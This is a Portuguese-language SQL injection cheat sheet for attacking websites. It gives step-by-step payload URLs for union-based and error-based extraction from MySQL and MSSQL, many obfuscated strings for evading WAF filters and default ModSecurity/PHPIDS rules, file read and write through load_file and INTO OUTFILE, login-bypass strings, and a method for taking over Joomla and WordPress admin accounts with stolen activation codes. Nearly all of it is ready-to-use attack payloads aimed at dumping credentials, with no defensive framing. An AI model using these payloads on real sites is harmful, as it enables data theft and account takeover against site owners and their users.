Sql Injection ToC
Mysql baseado em Union
  • Verificando qual coluna está vulneravel:
  • http://www.site.com/buy.php?id=1'
    http://www.site.com/buy.php?id='1
    http://www.site.com/buy.php?id=-1'
    http://www.site.com/buy.php?id=1`
    • ps:acredite o lugar aonde você coloca a string faz diferença assim como se é ' ou ` .
    • Se a url for desta maneira http://www.site.com/buy.php?id=1&dog;catid=2 vc deve injetar em ambos parametros ficando assim:
    http://www.site.com/buy.php?id='1&dog;catid='2
    • Ou então deletar um dos parametros, se der algum tipo de erro significa que o site está vulneravel.
  • Determinando a quantidade de colunas:
  • http://www.site.com/buy.php?id=1 order by 1-- <-- sem erro
    http://www.site.com/buy.php?id=1 order by 2-- <-- sem erro
    http://www.site.com/buy.php?id=1 order by 3-- <-- sem erro
    http://www.site.com/buy.php?id=1 order by 4-- <-- sem erro
    http://www.site.com/buy.php?id=1 order by 5-- <-- com erro
    • Logo este site possui 4 colunas pois como a coluna 5 deu erro ela não existe.
    • Pode-se usar tb os seguintes comandos, as querys as vezes fazem diferença:
    http://www.site.com/buy.php?id=1 order by 1/
    http://www.site.com/buy.php?id=1 order by 1
    http://www.site.com/buy.php?id=1 order by 1--
    • Assim como injetar da seguinte maneira:
    http://www.site.com/buy.php?id=1+order+by+1--
    http://www.site.com/buy.php?id=1%20order%20by%201--
    http://www.site.com/buy.php?id=1 order by 1
    • ps:se um destes modos for e os outros não vc deverá utiliza-lo até o final.
    • Se você coloca ' para verificar se o site esta vulnerável o sistema do site pode substituir este caractere por outro nulo ou seja não irá retornar nada, uma forma de bypass pode ser adicionar um caractere nulo %00 ou entao podem converter o caractere ' em hexadecimal que é %27,caso não dê outro método é juntar os dois bypass:
    --> http://www.site.com/dir/accountlevel?id=1032%00'
    --> http://www.site.com/dir/accountlevel?id=1032%27
    --> http://www.site.com/dir/accountlevel?id=1032%00%27%00
    --> http://www.site.com/dir/accountlevel?id=%271032%00
    --> http://www.site.com/dir/accountlevel?id=%00%00%2710325%00
    • Bom acho que deu pra ter uma noção sobre bypass,mas caso queira saber mais estude sobre outros métodos de injeção como binário,encoding (base 64),entre outros.
  • BYPASS DE ORDER BY:
    • É normal se deparar com alguns sites que mesmo estando vulneráveis a sqlinjection quando você coloca o order by 1, não retorna erro em nenhuma tabela.
    • Um exemplo é um site que você coloca até 10000000000 e não retorna nenhum erro, segue então alguns bypass:
    --> site.com/news.php?id=9 order by 10000000000-- [Sem Erro]
    • Para burlar tente o seguinte bypass:
    --> site.com/news.php?id=9' order by 10000000--+  [Com Erro]
    • Você deverá usar este método até o final da injeção:
    --> http://site.com/news.php?id=-9' union select 1,2,3,4,5,6,7,8--+
  • Verificando qual coluna está vulneravel:
    • Para achar a coluna vulneravel pode-se usar o comando union select ou union all select se não der com um tente com o outro.
    http://www.site.com/buy.php?id=1 union select 1,2,3,4--
    http://www.site.com/buy.php?id=1 union all select 1,2,3,4--
  • BYPASS UNION SELECT (UNION ALL SELECT):
    • As vezes também um WAF (web aplication firewall) pode barrar sua injeção no UNION.
    • Ele utiliza na maiorias das vezes um dicionário que lê as palavras que serão inseridas na url e bloqueia as que estão em sua blacklist, ou seja union select , union all select, entre outras string.
    • Por isto segue alguns bypass:
    • --> Quando se utiliza a seguinte string:
    http://www.site.com/index.php?id=-1+union+select+1,2,3,4,5--
    • Dá o seguinte erro:
    ("404 forbidden you do not have permission to access to this webpage")
    • Então um bypass para burlar este dicionário é:
    http://www.site.com/index.php?id=-1+/*!UnIoN*/+/*!sELeCt*/1,2,3,4,5--
  • Conseguindo informação:
  • http://www.site.com/buy.php?id=1 union select 1,2,@@version,4-- <-- Mostra a versão
    http://www.site.com/buy.php?id=1 union select 1,2,version(),4-- <-- Mostra a versão
    http://www.site.com/buy.php?id=1 union select 1,2,@@hostname,4-- <-- Mostra o hostname
    http://www.site.com/buy.php?id=1 union select 1,2,user(),3,4-- <-- Mostra o user
    http://www.site.com/buy.php?id=1 union select 1,2,database(),3,4-- <-- Mostra a current-db
    http://www.site.com/buy.php?id=1 union select 1,2,@@datadir,3,4-- <-- Mostra o DIR do mysql
    • Com o comando group_concat vc pode pedir diversas informaçoes de uma vez por exemplo:
    http://www.site.com/buy.php?id=1 union select 1,2,group_concat(version(),user(),@@hostaname,@@datadir),3,4
    • Aconselho usar 0x3a ele é o dois pontos em hex, deixa mais organizado a busca por suas info:
    http://www.site.com/buy.php?id=1 union select 1,2,group_concat(version(),0x3a,user(),0x3a,@@hostaname,0x3a,@@datadir),3,4--
    http://www.site.com/buy.php?id=-1 UNION SELECT 1,2,unhex(hex(@@version)),4--
  • Achando os nomes das databases:
    • Para ver todas as databases do site utilize o seguinte comando:
    http://www.site.com/buy.php?id=-1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata--
    • Agora para ver apenas a current-db utilize algum dos seguintes comandos:
    http://www.site.com/buy.php?id=-1 union select 1,2,group_concat(database()),4--
    http://www.site.com/buy.php?id=-1 union select 1,2,concat(database()),4--
    http://www.site.com/buy.php?id=-1 union select 1,2,database(),4--
  • Achando os nomes das Tabelas:
    • Para achar os nomes da tabelas vc vai utilizar o seguinte comando:
    http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--
    • Caso não queira olhar os dados da current-db vc deve trocar o table_schema=database() para table_schema=nomedadbquevcquer
    • Utilizando-se do group_concat é possivel ver apenas 1024 caracteres,mas as vezes as tabelas tem mais do que isto portanto vc devera utilizar o comando limit para ver o resto.
    • Desta maneira:
    http://www.site.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1--
    http://www.site.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 15,1--
    http://www.site.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 30,1--
    http://www.site.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 45,1--
    • Vc deverá ir mudando o limite para que consiga observar o restante.
  • Achando as colunas:
    • Para achar as colunas use o seguinte comando:
    http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="nomedatabela"--
    • Se não funcionar desta maneira vc pode converter para hex o nome da tabela assim:
    http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x6e6f6d656461746162656c61--
    • Vc tambem pode convertar para mysql char se não der com hex :
    http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=CHAR(97, 100, 109, 105, 110)--
  • Fazendo o dump da info:
    • Supondo que sua tabela tenha o nome de admin e as colunas que vc queira fazer o dump sejam user,pass e email vc devera utilizar o seguinte comando:
    http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(user,0x3a,pass,0x3a,email),3,4 FROM admin--
    • Dica ninja: site.com/index.php?id=1' vc muda para index.php?id=1+and+0+order+by+xxx-- outra coisa se vc injetar via post pode funfar pq as vezes só o get que não vai então preciso usar o post
Double query sql injection
  • Este é um metodo um pouco mais avançado de sql injection em double query vc não tera acesso ao group_concat vc usará apenas concat() com o limit este método é mais usado quando não se é possivel usar o union select.
  • Puxando a versão:
  • +and(select+1+FROM(select count(*),concat((select(select concat (version())) FROM Information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
  • Agora se deseja ver a current-db basta trocar aonde está escrito version() por database(), assim:
  • +and(select+1+FROM(select count(*),concat((select(select concat (database())) FROM Information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
  • Para ver as tabelas vc necessita adicionar valores em hex:
  • +and(select+1+FROM(select count(*),concat((select(select (SELECT concat (0x7e,0x27,count(table_name),0x27,0x7e) FROM 'Information_schema'.tables WHERE table_schema=AQUI VC COLOCA O NOME DA DB EM HEX)) LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
    • Imaginando que quando vc foi pegar o nome da db vc tinha descoberto que o nome era admin vc transformara para hex assim:
    admin = 0x61646d696e
    +and(select+1+FROM(select count(*),concat((select(select (SELECT concat (0x7e,0x27,count(table_name),0x27,0x7e) FROM 'Information_schema'.tables WHERE table_schema=0x61646d696e)) LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
  • Para pegar as colunas vc adiciona um novo valor em hex com o nome da tabela que deseja ver and table_name=<hex valor aqui> assim:
  • +and(select+1+FROM(select count(*),concat((select(select (SELECT concat (0x7e,0x27,count(table_name),0x27,0x7e) FROM 'Information_schema'.tables WHERE table_schema=0x61646d696e AND table_name=0x65321233e)) LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
  • Para ir mudando as colunas vc vai trocando o valor do limit por exemplo de 0,1 para 1,1 depois 2,1 depois 3,1 e assim vai.
  • Para fazer o dump use uma coluna por vez para ficar mais facil assim:
  • +and(select+1+FROM(select count(*),concat((select+concat(0x3a,password)+from+users+LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
  • Aonde o password é a coluna e users a tabela ;)
  • Para pegar user ficaria parecido com isto na url:
  • http://site.com/index.php?id=1+and(select+1+FROM(select count(*),concat((select+concat(0x3a,username)+from+users+LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
Sql Injection WAF Bypass
  • Conversando com o madcodE da madleets sobre bypass para sql injection ele me enviou um tutorial que segue abaixo:
  • O que é WAF?
  • WAF significa Web Application Firewall. É amplamente utilizado hoje em dia para detectar e defender ataques de SQL Injections e Cross Site Scripting (XSS).
  • Como funciona?
  • Quando WAF detecta qualquer entrada malicioso de usuário final, dá 403 Proibido, 406 Não Aceitável ou qualquer tipo de erros personalizados.
  • O que fazer a seguir?
  • Então, o que fazer a seguir? nós não podemos fazer a injeção normal correto? Bem, é hora de usar várias técnicas de bypass.
  • Algumas dessas técnicas são mencionadas a seguir:
  • # Case Changing:
  • A maioria dos Waf's filtram apenas letras minusculas ou palavras chaves do WAF. Podemos facilmente fugir desse tipo de WAFS usando caso alternativo.
    Se union select é proibido , podemos testar então UNION SELECT. E se ambos não funcionarem, podemos tentar misturar ambos. Assim: UniOn seLeCt
  • # Using Comments
  • Comentários SQL realmente nos ajudam em varias situações. Eles desempenham o seu papel importante na morte de Restrições de alguns Waf.
  • e.g // , -- , --+ , #, -- -
  • # Inline Comments
  • Alguns WAF’s filtram palavras como /union\sselect/ig Podemos ignorar esses filtros usando comentários incorporados na maioria das vezes.
    http://localhost/waf.php?id=1 /*!union*/  /*!select*/ 1,2,3--
  • Dica: Leia SQLi Errors com cuidado. As vezes, eles deixaram de erro a partir do qual podemos ter idéia de como waf está trabalhando neste site.
  • De qualquer forma, estávamos falando sobre palavras-chave filtradas. Então, isso não significa que waf só está filtrando union select. Talvez esteja filtrando todas palavras chaves de SQL como table_name, column_name etc
    Então, talvez seja necessário aplicar esses comentários na linha sobre as palavras-chave também.
  • Exemplo:
  • http://localhost/waf.php?id=1 /*!union*/ /*!select*/ 1,2,/*!table_name*/,4,5 /*!from*/ /*!information_schema.tables*/ /*!where*/ /*!table_schema*/=database()--
  • # Double use of Keywords
  • As vezes WAF remove toda palavra-chave da consulta e executa como erro.
  • Nesses casos, podemos usar as palavras-chave desta forma:
  • http://localhost/waf.php?id=1 UNunionION SELselectECT 1,2,3,4,5,6--
    De qualquer forma depende do cenário. Eu estou apenas dando uma idéia comum. O resto é com você a forma como você vai usar depende apenas de você.
  • # Using Different types of Whitespaces
  • As vezes Waf pode filtrar o espaço em branco que estamos usando entre palavras-chave. Na maioria das vezes usamos o espaços, mas o espaço não é o único espaço em branco que podemos usar na injeção SQL.
        Temos algumas outras opções também por exemplo: o +  e o %20 são usados como espaço ,mais exemplos são: %09  %0A  %0B %0C %0D **%A0*
    union%0Bselect%0B1,2,3--
  • # Encoding
    • Podemos sempre tentar a sorte codificando a URL para ignorar WAF.
    • Por exemplo, podemos usar:
    union select 1,/*!table_name*/,3 from information_schema.tables where table_schema=database()
    • como:
    union%20select%201,%2f%2a%21table_name%2a%2f,3%20from%20information_schema.tables%20where%20table_schema%3Ddatabase%28%29
    • Porém algumas vezes o waf também filtra %
    • Então nós temos que usar a codificação dupla de URL, nesse caso:
    union%2520select%25201,%2f%2a%21table_name%2a%2f%2520,3 from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529
  • # Unexpected Input
  • Este cenário é muito raro , temos que usar buffer overflow ou dar uma consulta inesperada / para enganar filtros WAF.
  • http://localhost/waf.php?id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,3,4,5--
  • Me foi útil poucas vezes. Mas conhecimento é poder, talvez seja util para você o bypass usando buffer overflow.
  • # Use todas as tecnicas mencionadas acima juntas
    • ah... tentei todas essas tecnicas, mas ainda mostra NÃO ACEITÁVEL ou PROIBIDO.
    • Bem esta na hora de usar todas as técnicas mencionadas acima combinadas.
    • Por exemplo: você pode usar casos alternativos com comentários ou ofuscação.
  • #Some Common Union Select Solutions:
  • %55nion(%53elect 1,2,3)-- -
    +union+distinct+select+
    +union+distinctROW+select+
    ///*!12345UNION SELECT*///
    ///*!50000UNION SELECT*///
    //UNION///*!50000SELECT*//**/
    /*!50000UniON SeLeCt*/
    union /*!50000%53elect*/
    +#uNiOn+#sEleCt
    +#1q%0AuNiOn all#qa%0A#%0AsEleCt
    /*!%55NiOn*/ /*!%53eLEct*/
    /*!u%6eion*/ /*!se%6cect*/
    +un//ion+se//lect
    uni%0bon+se%0blect
    %2f%2funion%2f%2fselect
    union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
    REVERSE(noinu)+REVERSE(tceles)
    /*--*/union/*--*/select/*--*/
    union (/*!/**/ SeleCT */ 1,2,3)
    /*!union*/+/*!select*/
    union+/*!select*/
    //union//select/**/
    //uNIon//sEleCt/**/
    ///*!union*////*!select*//**/
    /*!uNIOn*/ /*!SelECt*/
    +union+distinct+select+
    +union+distinctROW+select+
    uNiOn aLl sElEcT
  • Mais uma dica se vc encriptar tudo em base 64 pode conseguir um bom resultado é um boa forma de bypass tb ;)
  • Então vamos explicar os métodos de bypass um pouco mais a fundo...
  • MÉTODOS SIMPLES:
  • 1º Caso (Simples):
    • Este tipo de bypass é o mais simples, e deve-se saber de cor e sorteado:
    /*!union*/ /*!select*/ 1,2,3,4,5--
    http://www.site.com.br/index.php?id=15 /*!union*/ /*!select*/ 1,2,3,4,5#continue xploiting....
  • 2º Caso ("Caso das letras"):
    • Outro caso bem simples também pode ser mesclado com o 1º caso:
    http://www.site.com.br/index.php?id=15 UnIoN SeLeCT 1,2,3,4,5#continue xploiting...
  • 3º Caso(Mesclagem de caso 1 && 2):
    • Nada a declarar, o exemplo fala por si só:
    http://www.site.com.br/index.php?id=15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,5#continue xploiting...
  • 4º Caso(Repetição de Palavras):
    • Serão descartado as palavras union e select. Ficando somente UNION && SELECT
    http://www.site.com.br/index.php?id=15 UNIunionON SELselectECT 1,2,3,4,5#continue xploiting...
  • 5º Caso (Comentário em linhas + Mudança de Letras):
    • Você usará comentário para o bypass (bem simples também):
    http://www.site.com.br/index.php?id=15 UnION/**/SElecT 1,2,3,4,5#continue xploiting...
  • MÉTODOS AVANÇADOS:
  • 1º Caso (Buffer Overflow/Crash WAF):
    • Vamos adicionar na url uma grande repetição de caracteres para dar um crash no WAF para que ele se desligue e não nos barre...
    +and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4,5#continue xploiting...
    http://www.site.com.br/index.php?id=15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4,5
    • Com isto será adicionado 1000 caracteres "A" oque bem provável irá dar um crash no WAF.
  • 2º Caso(Codificando injeção em Hex):
    • Consiste em converter toda a url de injeção para codificação em hexadecimal em/ou 3 tipos:
    • Texto simples:
    /*!union*/ /*!select*/ 1,2,3,4,5
    -  Hex Encoded for URL: %2f%2a%21%75%6e%69%6f%6e%2a%2f%20%2f%2a%21%73%65%6c%65%63%74%2a%2f%20%31%2c%32%2c%33%2c%34%2c%35
    -  Hex Dashed:  2f-2a-21-75-6e-69-6f-6e-2a-2f-20-2f-2a-21-73-65-6c-65-63-74-2a-2f-20-31-2c-32-2c-33-2c-34-2c-35
    -  Hex Spaced:  2f 2a 21 75 6e 69 6f 6e 2a 2f 20 2f 2a 21 73 65 6c 65 63 74 2a 2f 20 31 2c 32 2c 33 2c 34 2c 35
    -  Hex:  2f2a21756e696f6e2a2f202f2a2173656c6563742a2f20312c322c332c342c35 
    • OU
    /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4,5...
    • que significa:
    /*!union*/ /*!select*/ 1,2,3,4,5...
  • 3º Caso(Usando Strings SQL Alternativas):
    • Em vez de usar as strings mais comuns (que a maioria é filtrada pelos WAF's atuais) usar strings pouco conhecidas:
    +-------------------------------+
    |  COMUM    ++++++  ALTERNATIVO |
    |               |               |
    |@@version      |  version()    |
    |concat()       |  concat_ws()  |
    |group_concat() |  concat_ws()  | 
    +-------------------------------+
  • 4º Caso(Funções de WAF exploitáveis):
    • Existem certos WAF's que quando vão fazer o filtro de caracteres substituem os que estão na black list(não permitidos) por um espaço em branco e juntam as palavras deste caractere em branco, ou seja com isto podemos xploitar estas funções:
    http://www.site.com.br/index.php?id=15+uni*on+sel*ect+1,2,3,4,5#continue xploiting...
    • Com isto se o WAF possuir a função citada ele irá deletar os asteríscos(*) e irá juntar as palavras, formando nossa string de injeção:
    http://www.site.com.br/index.php?id=15+union+select+1,2,3,4,5#continue xploiting...
  • 5º Caso(Uso de parênteses):
    • Usando vários parênteses para burlar filtros do WAF:
    http://www.site.com.br/index.php?id=15+(uNioN)+(sElECt)1,2,3,4,5#continue xploiting....
    http://www.site.com.br/index.php?id=15+(uNioN+SeleCT)+1,2,3,4,5#continue xploiting....
    http://www.site.com.br/index.php?id=15+(UnI)(oN)+(SeL)(ecT)+1,2,3,4,5#continue xploiting....
    http://www.site.com.br/index.php?id=15+union (select 1,2,3,4,5)#continue xploiting....
  • É um chato mas ao mesmo tempo desafiador quando estamos injetando e devemos utilizar algum outro bypass, triste é quando é no dump (rsrs).
  • O error geralmente aparece no union select (incial) ou então do dump das informações, e o próprio indicador é o título:
  • Illegal Mix of Collation
  • ou
  • Union Illegal Mix of Collation
  • Então vamos ao bypass, nós podemos usar as seguintes funções:
  • Cast():
    Cast(Expressão AS Tipo)
    Cast(@@version,0x3a,database() AS binary)
    Cast(@@version AS binary)
    convert():
    convert(@@version using ascii)
    HEX/ UNHEX():
    unhex(hex(@@version,0x3a,database()))
    unhex(hex(version()))
    Compress/uncompress:
    uncompress(compress(@@version))
    uncompress(compress(version()))
    encode/decode:
    decode(encode(@@version,1),1)
    decode(encode(version(),1),1)
    Encriptação AES:
    AES_DECRYPT(AES_ESCRYPT(@@version,1),1)
    AES_DECRYPT(AES_ESCRYPT(version(),1),1)
  • Mesclagem de técnicas avançadas de bypass como HPP(HTTP Parameter Polution) e HPF(HTTP Parameter Fragmentation)
  • Utilizando de comentários:
  • /?id=1+un//ion+sel//ect+1,2,3--
  • O /**/ significa comentário, igual na linguagem C. Por isto quando o banco ler a query, será eliminado o comentário
  • Ficando:
  • union+select+1,2,3--
  • Estes últimos dois traços são para comentário também, diz que é para ser ignorado tudo que estiver depois deles.
  • Utilizando HTTP Parameter Polution (HPP):
    • Reconhecido e bloqueado pelo WAF:
    /?id=1;union+select+pwd+from+users--
    • Agora vamos implementar o HPP:
    • Vamos considerar que estamos em ambiente ASP/IIS:
    /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
    • Gerando o seguinte payload:]
    id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users (QUERY VALIDA)
  • Utilizando HTTP Parameter Fragmentation (HPF)[Caso de Concatenação, ou seja ASP,ASP.NET,AXIS,DBMAN]:
    • Código Vulnerável:
    Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
    Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c']);
    • Explicação:
    • Este método consiste em comentar as outras variáveis multi valoradas e utilizar do conceito e concateção de cada ambiente.
    • Exploit:
    /?a=1+union/*&b=*/select+1,2
    /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
    • Payload:
    select * from table where a=1 union/* and b=*/select 1,2
    select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
    • Utilizando funções Similares:
    • Segue abaixo funções similares:
    substring() -> mid(), substr(), etc
    ascii() -> hex(), bin(), etc
    benchmark() -> sleep()
    • Exemplo de como chegar ao mesmo objetivo com funções diferentes: [BLIND SQLI]
    select user from mysql.user where user = 'user' OR mid(password,1,1)='*'
    select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a
    select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a')
    select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'
    select user from mysql.user where user = 'user' OR mid(password,1,1) like '*'
    select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]'
    select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42
    select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42
    select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1
    select user from mysql.user where user = 'user' OR position(0x2a in password)=1
    select user from mysql.user where user = 'user' OR locate(0x2a,password)=1
    select user from mysql.user where user = 'user' OR substr(password,1,1)=0x2a
    select user from mysql.user where user = 'user' OR substring(password,1,1)=0x2a
    substring((select 'password'),1,1) = 0x70
    substr((select 'password'),1,1) = 0x70
    mid((select 'password'),1,1) = 0x70
    • STRCMP:
    strcmp(left('password',1), 0x69) = 1 (TRUE para 1,se password password é maior que 0x71 [NUMERAÇÃO ASCII])
    strcmp(left('password',1), 0x70) = 0 (TRUE para 0, se password e 0x70 são iguais
    strcmp(left('password',1), 0x71) = -1(TRUE para -1, se password é menor que 0x71 [NUMERAÇÃO ASCII])
    • Exploit:
    false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)%2B112233
    false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x61)%2B112233
    true: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x62)%2B112233
    Primeiro caractere da hash é = B
    
    false: index.php?uid=strcmp(left((select//hash//from//users//limit/**/0,1),2),0x6240)%2B112233
    true: index.php?uid=strcmp(left((select//hash//from//users//limit/**/0,1),2),0x6241)%2B112233
    Segundo caractere da hash é = A
  • Utilizar Operadores Booleanos Variados:
  • and 1
    or 1
    and 1=1
    and 2<3
    and 'a'='a'
    and 'a'<>'b'
    and char(32)=' '
    and 3<=2
    and 5<=>4
    and 5<=>5
    and 5 is null
    or 5 is not null
  • ANALISANDO REGRAS DEFAULT DE WAF'S:
    • PHPIDS (0.6.1.1) – default rules
    Forbid: /?id=1+union+select+user,password+from+mysql.user+where+user=1
    But allows: /?id=1+union+select+user,password+from+mysql.user+limit+0,1
    Forbid: /?id=1+OR+1=1
    But allows: /?id=1+OR+0x50=0x50
    Forbid: /?id=substring((1),1,1)
    But allows: /?id=mid((1),1,1)
    • Mod_Security (2.5.9) – default rules
    Forbid:/?id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74
    But allows:/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
    Forbid: /?id=1+OR+1=1
    But allows: /?id=1+OR+0x50=0x50
    Forbid: /?id=1+and+5=6
    But allows: /?id=1+and+5!=6
    Forbid: /?id=1;drop members
    But allows: /?id=1;delete members
MSSQL INJECTION
  • Um erro de mssql é parecido com o seguinte erro:
  • Microsoft OLE DB Provider for SQL Server error '80040e14'
    Unclosed quotation mark after the ID integer '5' '.
    index.asp, line 30
  • Verificando a vul:
  • www.target.com/index.asp?id=1 and 1=1-- Carrega normal
    www.target.com/index.asp?id=1 and 1=2-- Mssql Erro
    Se 1=2 carregar perfeito pode ser necessario usar (string) '+and+1=1--+-
  • Achando DATABASE, VERSION:
    • Como podemos achar a versão da database?
    +and+1=convert(int,@@version)--
    • NA URL:
    www.target.com/index.asp?id=1'+and+1=convert(int,@@version)--
    • E para achar a db usamos este query:
    +and+1=convert(int,db_name())--
    • Na URL:
    www.target.com/index.asp?id=1'+and+1=convert(int,db_name())--
    • Mesmo para o user:
    '+and+1=convert(int,user_name())--
  • Extraindo os nomes das tabelas da database:
    • Eu estariei usando o metodo NOT IN para achar o nome das tabelas.
    • Só podemos buscar nomes de tabela, um a um. Isto é um saco ...... :p
    • Então vamos buscar primeiro nome da tabela de banco de dados, nossa consulta será como:
    www.target.com/index.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--+-
    • Vamos dizer que o nome de nossa primeira tabela seja : table1
    • Vamos agora achar o nome da segunda tabela, então nossa query ficará assim:
    +and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in('table1')))--
    • Na url:
    www.target.com/index.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in('table1')))--
    • E para a terceira tabela usamos:
    www.target.com/index.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in('table1','table2')))--
  • Achando o nome das colunas:
    • OK, então agora nós temos os nomes das tabela, mas nós não sabemos como encontrar os nomes das colunas nessas tabelas?
    • Vamos dizer que queremos encontrar colunas da table1.
    • Iremos usar esta query:
    +and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table1'))--
    • Na url:
    www.target.com/index.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table1'))--
    • Nota: table1 é o nome da tabela
    • Agora vamos ver a mensagem com o erro:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    Conversion failed when converting the nvarchar value 'username' to data type int.
    index.asp, line 30
    • Então, se olharmos com atenção, veremos o nome da coluna neste erro que é username
    • Agora .. temos o nosso primeiro nome da coluna, como encontrar a próxima coluna?
    • Usaremos esta query:
    +and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table1'+and+column_name+not+in+('username')))--
    • Na URL:
    www.target.com/index.asp?id=1'+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='table1'+and+column_name+not+in+('username')))--
    • Tudo bem, digamos que esse erro mostre que a column_name é Password
    • Então é assim que as coisas funcionam no método NOT IN
  • Fazendo dump das info:
    • Ok, agora nós temos tabelas e seus nomes de coluna, mas não sabemos como extrair as entradas a partir destas tabelas e colunas.
    • Vamos dizer que temos nome da coluna nome de usuário na tabela table1.
    • Para obter suas entradas usaremos uma query como:
    +and+1=convert(int,(select+top+1+username+from+table1))--
    • O erro será :
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    Conversion failed when converting the nvarchar value 'admin@site' to data type int.
    index.asp, line 30
    • admin@site é o username
    • e para o password usamos:
    +and+1=convert(int,(select+top+1+password+from+table1))--
    • Na URL:
    www.target.com/index.asp?id=1'+and+1=convert(int,(select+top+1+username+from+table1))--
    • O erro sera:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    Conversion failed when converting the nvarchar value 'adminPass123' to data type int.
    index.asp, line 30
  • Ler arquivos do server:
  • select load_file(nome_do_arquivo_em_hex_0x61)
  • Criar arquivo no server:
  • select '<?php phpinfo(); ?>' INTO OUTFILE '/home/site/public_html/out.php'
  • Alterar valor de uma coluna:
  • set tabela update coluna='novo_valor'
  • E.g: set usuarios update senha='nova_senha'
Sql Injection em Joomla e Wordpress
  • Bom a unica diferença para os sites normais é que a maioria das senhas de wp e joomla tem hashes fodas e que levam um grande tempo para serem quebrados então o modo mais facil para se conseguir acesso é através do codigo de ativação ,vc irá utilizar ele para modificar a senha de um admin da seguinte maneira:
  • Joomla :
  • Vc vai baixar as colunas que conterem os email os users e os codigos de ativação depois basta fazer o seguinte :
  • http://site.com/index.php?option=com_user&view=reset
  • Vai pedir o email basta colocar o email que pegou da db.
  • Depois basta colocar o codigo de ativação :
  • http://site.com/index.php?option=com_user&view=reset&layout=confirm
  • Após,só logar na pagina de adm /administrator
  • Wordpress :
  • Mesma situação, baixe os users , emails e codigos de ativação depois vai em:
  • http://site.com/wp-login.php?action=lostpassword
  • Coloque o user e depois basta ir na url:
  • http://site.com/wp-login.php?action=rp&key=Coloque seu codigo de ativação aqui&login=Coloque o referente user aqui
  • Depois só logar no /wp-login.php bem simples.
Sql Injection em Logins
  • Bom este é o método mais simples do sql injection , consiste em injetar strings nos campos de user e pass dos logins se o site estiver mal programado será recebida uma validação mesmo sem possuir o user ou a senha na tabela.
  • Para explorar esta falha basta usar algumas strings nos campos de user e pass da seguinte maneira:
  •                   ----------------------------------------
    Username         |               ' or 1='1                |
                     |                                        |
                      ----------------------------------------
    
                      ----------------------------------------
    Password         |               xxxxxxxxx                |
                     |                                        |
                      ----------------------------------------
  • Depois basta clicar em login e pronto se o site estiver vul será efetuado o login.
  • As strings mais comuns a serem injetadas são:
  • ' or 1='1   <--- mais usada
    hi ‘ ou 1=1 –
    hi ‘ ou ‘ a’='a
    hi ‘) ou (‘ a’='a
    hi”) ou (“a”=”a
    admin ‘ – -
    ‘ ou 0=0 –
    “ou 0=0 –
    ou 0=0 –
    ‘ or ‘ 1
    b’ or ‘ 1=’
